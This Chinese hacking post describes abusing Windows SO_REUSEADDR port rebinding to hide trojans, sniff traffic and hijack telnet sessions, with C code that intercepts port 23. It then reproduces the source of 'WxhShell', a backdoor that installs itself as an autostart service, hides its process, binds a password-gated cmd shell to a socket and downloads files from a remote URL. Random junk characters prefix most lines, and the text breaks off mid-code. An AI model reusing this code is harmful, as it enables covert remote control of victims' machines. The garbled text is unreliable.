在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
23'{{@30 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
%z.d;[Hs DqmKDU saddr.sin_family = AF_INET;
/+ais3 NMC0y|G saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6rCUq
*]Cyc< bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Rz&}e@stl ,Qo:]Mj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:v$)Z~ ,iZKw8]f 这意味着什么?意味着可以进行如下的攻击:
d{ B0a1P bcxR7<T,"9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,I]]52+?4 tqp i{e 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0G Q8}r 6g#E/{kQw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zF? 6" ~RBa&Y=Mb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Lm1JiPs d _)YB*z5 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
U 17=/E Dk2Zl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~,8#\]xR l0ZK) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
L`9.Gf ?=-/5A4K #include
y4=T0[
V #include
];=|))ky" #include
;WrG\R/| #include
W?ghG DWORD WINAPI ClientThread(LPVOID lpParam);
O9ro{ k int main()
KilN`?EJ {
Znh;#%n| WORD wVersionRequested;
Y 9st3 DWORD ret;
yWT1CID WSADATA wsaData;
CC$rt2\e BOOL val;
F/:%YR; SOCKADDR_IN saddr;
~xws5n}F SOCKADDR_IN scaddr;
)U]q{0` int err;
:DuEv:;v SOCKET s;
;/IXw>O(/ SOCKET sc;
gt~u/Z% int caddsize;
pQ4HX)<P HANDLE mt;
~[BGKqh DWORD tid;
PB BJ.!Pb wVersionRequested = MAKEWORD( 2, 2 );
CU*;>h1~u err = WSAStartup( wVersionRequested, &wsaData );
} ,Dk6w$ if ( err != 0 ) {
9Gx`[{wI9< printf("error!WSAStartup failed!\n");
n%02,pC6, return -1;
N1x~-2( }
i 2[8^o`_ saddr.sin_family = AF_INET;
,&* BhUC E2`9H-6e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q?`s4P)14o D})12qB;u9 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(b"q(:5oX saddr.sin_port = htons(23);
.>-D{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
2Ib
1D {
R -mn8N& printf("error!socket failed!\n");
^i3!1cS return -1;
|;p.!FO }
4gmlK,a val = TRUE;
8R(l~ //SO_REUSEADDR选项就是可以实现端口重绑定的
i;IhsKO0R if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pm[i#V<v {
66_=bd(9 printf("error!setsockopt failed!\n");
/h]ru SI return -1;
iorQ/( }
<KoOJMx( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
z 61F q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
e9QjRx //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G"6XJYoI Vk[M .=J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y%r>=Jvu6 {
qIh9? |`U ret=GetLastError();
#60gjHYaV printf("error!bind failed!\n");
L[`8 :}M return -1;
P9q=tC3^ }
listen(s,2);
KhL%ov while(1)
1jPh0?BY {
l=$?#^^ / caddsize = sizeof(scaddr);
5rQu^6& //接受连接请求
KAu>U3\/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
uy<b5.!- if(sc!=INVALID_SOCKET)
G2P:|R {
+u&3pK>f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
t/3qD7L if(mt==NULL)
$}us+hGZ {
-<" ;|v4 printf("Thread Creat Failed!\n");
{/48n83n break;
#|=lU4Bf }
'Ddzlip }
7$IR^ CloseHandle(mt);
r{Mn{1:O }
?papk4w closesocket(s);
<;1M!.)5 WSACleanup();
{qCFd return 0;
3Jj&wHp] }
.>1Y-NM DWORD WINAPI ClientThread(LPVOID lpParam)
E7/i_Xkk {
rA8{Q.L SOCKET ss = (SOCKET)lpParam;
Q=#FvsF#z3 SOCKET sc;
BV}sN{ unsigned char buf[4096];
EDF0q i SOCKADDR_IN saddr;
.%M80X{5~ long num;
<l eE.hhf. DWORD val;
;Qc^xIPy DWORD ret;
WQBV~.<Yv //如果是隐藏端口应用的话,可以在此处加一些判断
G%K&f1q% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
xNLgcb@v> saddr.sin_family = AF_INET;
/^X)>1)j saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-%V~1 saddr.sin_port = htons(23);
<B @z>V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PO:sF]5 {
!>GDp >0 printf("error!socket failed!\n");
jQBn\^w return -1;
Wq}W )E }
U% ?+N val = 100;
>Y|P+Z\7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
by,3A {
~|LAe-e" ret = GetLastError();
Eb5BJ-XeS^ return -1;
)Z\Zw~L }
/2tPd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%D%
Ok7s}) {
15Jc PDV ret = GetLastError();
>?ec"P%vS/ return -1;
J'k^(ZZ }
8VC%4+.FF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
sN MF(TY {
S?c<Lf~W printf("error!socket connect failed!\n");
WKwYSbs( closesocket(sc);
3|EAOoWnK closesocket(ss);
h&~9?B return -1;
2~V"[26t }
6(ER$ while(1)
k(@W
z>aCv {
'#Do( U' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J\J3'u //如果是嗅探内容的话,可以再此处进行内容分析和记录
]M~7L[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
u0qTP] num = recv(ss,buf,4096,0);
FiXqypT_( if(num>0)
F4ylD5Y! send(sc,buf,num,0);
-av=5hm else if(num==0)
n{M-t@r7 break;
K;>9K'n num = recv(sc,buf,4096,0);
jBd=!4n if(num>0)
~Qf\DTM& send(ss,buf,num,0);
k$kxw_N5d else if(num==0)
Q~KzcB< break;
}
na@gn }
7c6-
o"A closesocket(ss);
)lJi7 ^, closesocket(sc);
o5m]Gqa return 0 ;
'Axe:8LA' }
Rh)%; RRl`;w? Zvra > % ==========================================================
u EERNo& bHXoZix 下边附上一个代码,,WXhSHELL
u7 <VD *uKYrs [ ==========================================================
u_FN'p=. BQs\!~Ux2 #include "stdafx.h"
!"'6$"U\K z<J2e^j #include <stdio.h>
RS@G.| #include <string.h>
:u)Qs#'29 #include <windows.h>
[*5hx_4%B #include <winsock2.h>
qt4%=E;[ #include <winsvc.h>
:lK8i{o #include <urlmon.h>
Mq#Hi9SKY *<}R=X. #pragma comment (lib, "Ws2_32.lib")
46B'Ec #pragma comment (lib, "urlmon.lib")
"_=t1UE bXqTc2>= #define MAX_USER 100 // 最大客户端连接数
7`^=Ie%(K #define BUF_SOCK 200 // sock buffer
+I}!)$/ #define KEY_BUFF 255 // 输入 buffer
0sCWIGUW ,8cVv->u/ #define REBOOT 0 // 重启
`P$X`;SwE #define SHUTDOWN 1 // 关机
Fzn! 0<^Qj.(9 #define DEF_PORT 5000 // 监听端口
Vo|[Z)MO` ~ftR:F|9 #define REG_LEN 16 // 注册表键长度
]3Jb$Q@ #define SVC_LEN 80 // NT服务名长度
C^:{y ~4xn^.w // 从dll定义API
,| j\x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
KTeR;6oZn" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
k`s_31< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0n={Mb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
90ov[|MkM kv2 H3O // wxhshell配置信息
2Zg%4/u,Zp struct WSCFG {
g[\8s~g, int ws_port; // 监听端口
-"XHN=H char ws_passstr[REG_LEN]; // 口令
7|o}m}yVx int ws_autoins; // 安装标记, 1=yes 0=no
`BaJ >%| char ws_regname[REG_LEN]; // 注册表键名
3T[zieX char ws_svcname[REG_LEN]; // 服务名
czB),vooz char ws_svcdisp[SVC_LEN]; // 服务显示名
GgE
38~A4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
WmRu3O char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Xo6zeLHO int ws_downexe; // 下载执行标记, 1=yes 0=no
-U\s.FI.AR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$+,kibk*R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]O0u.=1k PWO5R] };
V >~\~H2Y Zv9%}%7p // default Wxhshell configuration
7ZUS struct WSCFG wscfg={DEF_PORT,
~NO7@muw "xuhuanlingzhe",
' t^ r2N/ 1,
Ri*mu*r\} "Wxhshell",
Wq?vAnLbk "Wxhshell",
<oSx'_dc "WxhShell Service",
Jyp7+M] "Wrsky Windows CmdShell Service",
QT|\TplJt "Please Input Your Password: ",
Z!4B=?( 1,
*Xn6yL9 "
http://www.wrsky.com/wxhshell.exe",
;{0%Vp{ "Wxhshell.exe"
ke)<E98DC };
,pUB[w\ N{6-a // 消息定义模块
Q<yvpT( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
t"5ZYa char *msg_ws_prompt="\n\r? for help\n\r#>";
R?Ch8mW.! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$2a_!/ char *msg_ws_ext="\n\rExit.";
6zGeGW char *msg_ws_end="\n\rQuit.";
]H<}6}Gd char *msg_ws_boot="\n\rReboot...";
hE'>8 { char *msg_ws_poff="\n\rShutdown...";
x Vw1 char *msg_ws_down="\n\rSave to ";
OU*skc> 0%yPuY> char *msg_ws_err="\n\rErr!";
urQ<r{$x0 char *msg_ws_ok="\n\rOK!";
zXkq2\GHA &egP3 char ExeFile[MAX_PATH];
AdzdYZiM_ int nUser = 0;
s=Kz9WLy HANDLE handles[MAX_USER];
MVEh<_ int OsIsNt;
=p dLh 474
oVdGx SERVICE_STATUS serviceStatus;
}n
+MVJ;dG SERVICE_STATUS_HANDLE hServiceStatusHandle;
(@bq@0g QoMa+QTuc // 函数声明
4~hP25q int Install(void);
={jj'X9 int Uninstall(void);
T iJ \J{ int DownloadFile(char *sURL, SOCKET wsh);
biU
?>R
int Boot(int flag);
}^*`&Lh void HideProc(void);
=>O{hT^F int GetOsVer(void);
uX6rCokr int Wxhshell(SOCKET wsl);
&
sXMB void TalkWithClient(void *cs);
sXY{g0% int CmdShell(SOCKET sock);
o?aF int StartFromService(void);
g``S SU int StartWxhshell(LPSTR lpCmdLine);
c4bv Jy8 4Vd[cRh2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>A}ra ^gU VOID WINAPI NTServiceHandler( DWORD fdwControl );
yvnvI y !P6?nS // 数据结构和表定义
;Q[E>j?w= SERVICE_TABLE_ENTRY DispatchTable[] =
q3|SZoN {
BG6Lky/omz {wscfg.ws_svcname, NTServiceMain},
xFA`sAucr {NULL, NULL}
!yz3:Yzu };
?iL-2I3* EH'eyC-B< // 自我安装
^__P;Gr` int Install(void)
QJI]@3
Y {
ojVN-*5
char svExeFile[MAX_PATH];
;)ERxMun HKEY key;
sGa " strcpy(svExeFile,ExeFile);
VS65SxHA BU|m{YZ$ // 如果是win9x系统,修改注册表设为自启动
/)4Q%Zp if(!OsIsNt) {
xX8c>p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@2>ce2+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]#r Nz" RegCloseKey(key);
1\/~> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
AU;Iif6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V h5\'Sn RegCloseKey(key);
%Kh}6 return 0;
CM t$) }
z*o2jz?t4 }
]puDqu5! }
LwH+X:?i else {
"po;[
Ia2 f+Fzpd?w S // 如果是NT以上系统,安装为系统服务
y-Lm^GW4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
J?jxD/9Yb if (schSCManager!=0)
_J,*0~O$ {
Jt)J1CAYo SC_HANDLE schService = CreateService
-:Q"aeC5 (
N_(-\\mq schSCManager,
VuH}@ wscfg.ws_svcname,
%-|$7?~ wscfg.ws_svcdisp,
khQfLA SERVICE_ALL_ACCESS,
VY@`) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m=w #l>! SERVICE_AUTO_START,
.4y44: T SERVICE_ERROR_NORMAL,
{9~3y2: svExeFile,
Ctk1\quz NULL,
4UN|`'c NULL,
M1*x47bN NULL,
&0+Ba[Z ^ NULL,
Bo0T}P~ NULL
V]Uc@7S/ );
>&T J if (schService!=0)
$4]4G=o {
xg;F};}5$
CloseServiceHandle(schService);
<B+
WM CloseServiceHandle(schSCManager);
;U? 323Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
tNAmA strcat(svExeFile,wscfg.ws_svcname);
>B.KI}dE if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
dSS Ai
|} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nr&9\lG]G RegCloseKey(key);
|WgFLF~k return 0;
a24(9(yh }
6?/f$,v }
=$_kkVQ$ CloseServiceHandle(schSCManager);
s|R`$+'{ }
`*B6T7p1 }
[9yy<Z5 1=^| return 1;
ayN[y }
#5X+.!L b>' c
// 自我卸载
hF1Lj=x int Uninstall(void)
'Xasd3*Py {
t;y@;?~ HKEY key;
>Hd!o"I hS^8/]E={ if(!OsIsNt) {
NQN?CBFQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zGP@!R`_ RegDeleteValue(key,wscfg.ws_regname);
}'uV{$ RegCloseKey(key);
];u nR<H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_A=i2?g RegDeleteValue(key,wscfg.ws_regname);
*(sv5c!0M8 RegCloseKey(key);
^j1iCL! return 0;
XMLl>w2z }
^>z+e"PQA }
;Ji3|=4u }
?VyiR40-Cx else {
T5_rPz _t6.9CXl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mzf^`/NO if (schSCManager!=0)
P+rDln{ {
c >xHaA:V SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)\{]4[9N if (schService!=0)
Qn/6gRLj {
}50s\H._C if(DeleteService(schService)!=0) {
cY|@s?3NND CloseServiceHandle(schService);
1Q$/L+uJ5 CloseServiceHandle(schSCManager);
^fbzlu?G4- return 0;
~;oaW<" }
ra1_XR} CloseServiceHandle(schService);
{G=|fgz }
?%b#FXA CloseServiceHandle(schSCManager);
r$,Xv+} }
Ubh)}G,Mg }
)OFf nKh fD2 N} return 1;
Na+3aM%% }
VrJf g 5zF$Q {3 // 从指定url下载文件
5$*=;ls>J int DownloadFile(char *sURL, SOCKET wsh)
~vMJ?P@ {
zSBR_N51 HRESULT hr;
O
2+taB char seps[]= "/";
3WPZZN<K9 char *token;
/WI H#M char *file;
t1!>EI` char myURL[MAX_PATH];
/7WdG)' char myFILE[MAX_PATH];
`_3Gb ?4_ME3$t strcpy(myURL,sURL);
$WsyAUl token=strtok(myURL,seps);
3k:`7E. while(token!=NULL)
t24.u+O {
%D`j3cEp@ file=token;
QF$s([ token=strtok(NULL,seps);
(?[%u0%_ }
_I0=a@3 +O7GgySx GetCurrentDirectory(MAX_PATH,myFILE);
HzAw
rC strcat(myFILE, "\\");
S|m|ulB strcat(myFILE, file);
Po\d! send(wsh,myFILE,strlen(myFILE),0);
N <M6~ send(wsh,"...",3,0);
bDq<]h_7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xr31<4B if(hr==S_OK)
WFvVu3 return 0;
".kH5(: else
W A#y& return 1;
L^Fb;sJYI Gf-GDy\{ }
H2yPVJ\Y)" 4UMOC_ // 系统电源模块
r(g#3i4Q int Boot(int flag)
N^'(`"J s {
xN!In-v[j; HANDLE hToken;
jT4
m(j TOKEN_PRIVILEGES tkp;
e[db?f2! JcC2Zn6 if(OsIsNt) {
7LiyA< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a._>?rVy LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
vJ>o9:(6 tkp.PrivilegeCount = 1;
((6?b5[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E U'P
U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
`KieN/d% if(flag==REBOOT) {
s@*i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{O4&HW% return 0;
U XOf }
%kuUQ%W1 else {
Pje1,B q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_lfS"ae return 0;
lr)9 U7 }
cvjZ$Fcc%( }
.qCI!%fg else {
8`Tj *7Y= if(flag==REBOOT) {
ksyQ_4^SO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pV$A?b"?* return 0;
7s0pH+ }
)g ?'Nz else {
?v&2^d4C*F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-gv[u,R return 0;
%Lp#2?* }
%
"^CrG }
O{EbL5p /{-J_+u*% return 1;
-`PLewvX }
MTn}]blH C-H6l6, // win9x进程隐藏模块
BuOe'$F
0t void HideProc(void)
;7(vqm<V2~ {
wNMA)S vg5fMH9ZZ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
e4;h*IQK if ( hKernel != NULL )
;ao <{i? {
\OkJX_7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a@!O}f* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'K|F{K FreeLibrary(hKernel);
4Dasj8GsV }
pJ/{X=y +ux`}L( return;
1/A|$t[ }
5qkyi]/U8 xiF}{25a // 获取操作系统版本
v3cLU7bi?2 int GetOsVer(void)
/Y[ b8f {
$I9U.~* OSVERSIONINFO winfo;
nQG<OVRClS winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
yjM!M| GetVersionEx(&winfo);
d26#0Gt-4i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
f+2mX"Z[F return 1;
DK|/|C}6 else
`*cJc6 return 0;
:e\M~n+y }
Z.N9e k-sBf Jy\ // 客户端句柄模块
CH $*=3M int Wxhshell(SOCKET wsl)
_OB^ywHn. {
q'%!qa+ SOCKET wsh;
a4",BDx struct sockaddr_in client;
G'Uq595'- DWORD myID;
7/dp_I}cO b6'ZVB while(nUser<MAX_USER)
afjEN
y1 {
\<\147&)r int nSize=sizeof(client);
x#t?` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;ih;8 if(wsh==INVALID_SOCKET) return 1;
}{.V^; \# 1p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
e?; if(handles[nUser]==0)
:d@RN+U closesocket(wsh);
\M~uNWv| else
B X O, nUser++;
|lh&l<=(f }
UL xgvq WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
\mw5
~Rf; >dwY(a return 0;
H h%|}*f_, }
'i 8`LPQ #2%8@?_-M // 关闭 socket
*\^(-p~M void CloseIt(SOCKET wsh)
pK)!o {
|j4;XaG) closesocket(wsh);
W&2r{kCsQ nUser--;
_w7yfZLv+ ExitThread(0);
h-\+# .YP }
*?o 'sTH %%lJyLq'Vk // 客户端请求句柄
9dp1NjOtAc void TalkWithClient(void *cs)
#YSFiy:+r_ {
}jYVB|2 isz-MP$:K5 SOCKET wsh=(SOCKET)cs;
@y,>cDg char pwd[SVC_LEN];
#W/ATsDt char cmd[KEY_BUFF];
jr^btVOI#\ char chr[1];
/=KEM gI? int i,j;
K%;=i2: AdRK )L while (nUser < MAX_USER) {
`Nv7c{M^ KnUVR!H| if(wscfg.ws_passstr) {
!ZayN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P#AS")Sj //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
HcHwvf6y //ZeroMemory(pwd,KEY_BUFF);
vP,$S^7$ i=0;
O*c<m, while(i<SVC_LEN) {
l@>@2CB 8B6-f: // 设置超时
Q 2B fd_set FdRead;
ex|h&Vma2V struct timeval TimeOut;
!~Kg_*IT FD_ZERO(&FdRead);
m|PJwd6 FD_SET(wsh,&FdRead);
=an0PN TimeOut.tv_sec=8;
E+Dcw TimeOut.tv_usec=0;
9M@,BXOt int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@[]#[7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{Bb:\N8X 2FEi-m} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w+hpi5OH pwd
=chr[0]; |^OK@KdL1
if(chr[0]==0xd || chr[0]==0xa) { 1/c+ug!y
pwd=0; %ejq|i7
break; BxesoB
} <6C:\{eo
i++; seZb;0
} ^_uCSA'X
-K6y#O@@
// 如果是非法用户,关闭 socket B\+uRiD8w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 18>v\Hi<
} K8h\T4
W?du ]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JG{`tTu
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (dHjf;
0+KSD{
while(1) { 2Vxx
>*$Xbj*
ZeroMemory(cmd,KEY_BUFF); RJdijj
vHb^@z=
// 自动支持客户端 telnet标准 [iC]Wh%
j=0; .L.9e#?3
while(j<KEY_BUFF) { iK8jX?
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |?ZNGPt
cmd[j]=chr[0]; EEiWIf&S,
if(chr[0]==0xa || chr[0]==0xd) { DDZnNSo<JQ
cmd[j]=0; 1tl qw
break; vZXdc+2l
} @6H 7
j++; S]Aaf-X_
} br*PB]dU
&5hs
W1`
// 下载文件 Uv!VzkPfo
if(strstr(cmd,"http://")) { rv2;)3/*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); v(P <_}G
if(DownloadFile(cmd,wsh)) m1M6N`f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6+:;Mb_S
else V9wL3*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %{0F.
} 'Qg.D88
else { &5QvUn
x|g2H.n
switch(cmd[0]) { 8[:G/8VI
Nop61zj
// 帮助 "_:6v64Gx
case '?': { yh.WTgcW
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'a>D+A:
break; -0<ZN(?|
} SUD~@]N1
// 安装 :)%cL8Nz]$
case 'i': { Yh{5O3(;
if(Install()) $ SZIJe"K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Ik5S1<h$H
else #It!D5A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lLI%J>b@
break; 6sT(t8[
} Y[W]YPs
// 卸载 JX`>N(K4\
case 'r': { BJ{?S{"6%G
if(Uninstall()) LVdtI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nIqF:6/
else A:5P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,D ]S@
break; kB=5=#s
} co'qVsOiH
// 显示 wxhshell 所在路径 t<%+))b
case 'p': { <}F(G-kV6
char svExeFile[MAX_PATH]; 7H4kj7UK
strcpy(svExeFile,"\n\r"); uxL3 8d]
strcat(svExeFile,ExeFile); juxAyds
send(wsh,svExeFile,strlen(svExeFile),0); m3XT8F*&
break; & d* bQv$
} o5G]|JM_
// 重启 #z}0]GJKj
case 'b': { rw?wlBEG%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @.pr}S/
if(Boot(REBOOT)) &LQfs4}a,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BL%3[JQ
else { ER:K^
Za
closesocket(wsh); ]PbwG
ExitThread(0); tZ:fOM
} D3y4e8+Z'
break; 6mjD@
} ;|f]e/El
// 关机 m`jGBSlw_
case 'd': { ?28)l
4 Ml
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ozA%u,\7k
if(Boot(SHUTDOWN)) ^$<:~qq!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uh^j;s\y
else { A[f`xE
closesocket(wsh); xFyBF[c
ExitThread(0); n% s$!R-\
} ZT+{8,
break; [ *
!0DW`
} {7K l#b
// 获取shell ~u r}6T
case 's': { fm Fs
CmdShell(wsh); EpENhC0
closesocket(wsh); \*c=bz&l
ExitThread(0); ?:W=ddg
break; :kXxxS
} ,Uy~O(Ft
// 退出 #vTF:r
case 'x': { ppO!v?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =E&1e;_xlE
CloseIt(wsh); d/E0opv
break; ,_: 6qn{
} ~:-V<r,pe
// 离开 ?y^ ix+M
case 'q': { F^Mt}`O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); pH0MVu(W
closesocket(wsh); b+$-f:mj
WSACleanup(); YwJ<0;:+hS
exit(1); 07Oagq(
break; `[tYe <
} q&,uJo
} '@#l/9
} -i4hJC!3
KzB9
mMrO
// 提示信息 C3; d.KlV
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6Q`7>l.|?
} x!UGLL]_M
} 7Y^2JlZu=
7gt%[r M
return; !XY}\zKq
} wA6<BujD
j7C&&G q
// shell模块句柄 dj3E20Ws
int CmdShell(SOCKET sock) KPa&P:R3
{ 'zQp64]F
STARTUPINFO si; Y>K3.*.
ZeroMemory(&si,sizeof(si)); ;*e$k7}F
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I0sw/,J/Z
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1@`mpm#Y
PROCESS_INFORMATION ProcessInfo; $PTl{
char cmdline[]="cmd"; =`wnng5m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Qz
return 0; 7[(<t+
} G3t\2E9S
C6:;
T%
// 自身启动模式 0j[%L!hny
int StartFromService(void) ( z.\,M
{ Yd<q4VJR
typedef struct R?l={N=Wf
{ YuzgR;Z
DWORD ExitStatus; L%4Do*V&
DWORD PebBaseAddress; Mj:=$}rs^
DWORD AffinityMask; {c=H#- A
DWORD BasePriority; &fwb?Vn4
ULONG UniqueProcessId; .p\<niu7
